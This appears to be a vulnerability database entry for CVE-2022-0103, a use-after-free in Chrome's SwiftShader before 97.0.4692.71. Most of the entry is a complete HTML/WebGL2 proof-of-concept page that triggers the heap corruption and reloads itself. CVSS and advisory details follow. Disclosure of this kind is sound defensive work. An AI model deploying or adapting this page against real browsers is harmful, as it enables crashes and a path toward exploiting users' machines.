CVE-2022-0103
HIGH Severity
Use after free in SwiftShader in Google Chrome prior to 97.0.4692.71 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Proof of Concept
<!DOCTYPE html>
<body>
<script>
(function () {
'use strict';
window.getShaderSource = function(id) {
return document.getElementById(id).textContent.replace(/^\s+|\s+$/g, '');
};
function createShader(gl, source, type) {
var shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
return shader;
}
window.createProgram = function(gl, vertexShaderSource, fragmentShaderSource) {
var program = gl.createProgram();
var vshader = createShader(gl, vertexShaderSource, gl.VERTEX_SHADER);
var fshader = createShader(gl, fragmentShaderSource, gl.FRAGMENT_SHADER);
gl.attachShader(program, vshader);
gl.deleteShader(vshader);
gl.attachShader(program, fshader);
gl.deleteShader(fshader);
gl.linkProgram(program);
gl.useProgram(program);
return program;
};
})();
</script>
<canvas id="canvas1" width="512" height="512"></canvas>
<script id='2d-vertex-shader' type='x-shader/x-vertex'>#version 300 es
void main(){}
</script>
<script id='2d-fragment-shader' type='x-shader/x-fragment'>#version 300 es
precision mediump float;
out vec4 color;
void main() {color = vec4(1,1,1,1);}
</script>
<script>
async function genWebGL2(){
var canvas = document.getElementById('canvas1');
var gl1 = canvas1.getContext('webgl2');
var program1 = createProgram(gl1, getShaderSource('2d-vertex-shader'), getShaderSource('2d-fragment-shader'));
var buffer1 = gl1.createBuffer();
gl1.bindBuffer(gl1.ARRAY_BUFFER, buffer1);
var buffer89555 = gl1.createBuffer();
gl1.bindBuffer(gl1.ELEMENT_ARRAY_BUFFER, buffer89555);
gl1.bufferData( gl1.ELEMENT_ARRAY_BUFFER, new Uint16Array(4), gl1.STATIC_READ, 0, 0);
gl1.bufferData( gl1.ARRAY_BUFFER, new Uint16Array(4), gl1.STATIC_COPY, 0, 0);
gl1.drawElements(gl1.LINE_STRIP, 4, gl1.UNSIGNED_BYTE,0);
gl1.flush();
var texture1 = gl1.createTexture();
gl1.bindTexture(gl1.TEXTURE_3D, texture1);
imgData = new Uint8Array(64*64*64*4);
gl1.texImage3D(gl1.TEXTURE_3D, 0, gl1.RGB8, 64, 64, 64, 0, gl1.RGB, gl1.UNSIGNED_BYTE, imgData);
gl1.generateMipmap(gl1.TEXTURE_3D);
gl1.copyTexSubImage3D( gl1.TEXTURE_3D, 0, 0, 0, 0, 0, 0, 64, 64 );
var texture1 = gl1.createTexture();
gl1.bindTexture(gl1.TEXTURE_3D, texture1);
imgData = new Uint8Array(256*256*256*4);
gl1.texImage3D(gl1.TEXTURE_3D, 0, gl1.RGBA8, 256, 256, 256, 0, gl1.RGBA, gl1.UNSIGNED_BYTE, imgData);
var sync1 = gl1.fenceSync(gl1.SYNC_GPU_COMMANDS_COMPLETE, 0);
gl1.clientWaitSync(sync1, 0, 0);
setTimeout(function(){gl1.deleteSync(sync1);}, 10);
var texture1 = gl1.createTexture();
gl1.texImage3D(gl1.TEXTURE_3D, 0, gl1.RGBA8, 256, 256, 256, 0, gl1.RGBA, gl1.UNSIGNED_BYTE, imgData);
}
genWebGL2().then(() => location.reload());
</script>
</body>
</html> Risk Information
CVE ID
CVE-2022-0103
Vendor
Google
Product
Chrome
CVSS SCORE
8.8
Advisories
Vendor Advisory
NVD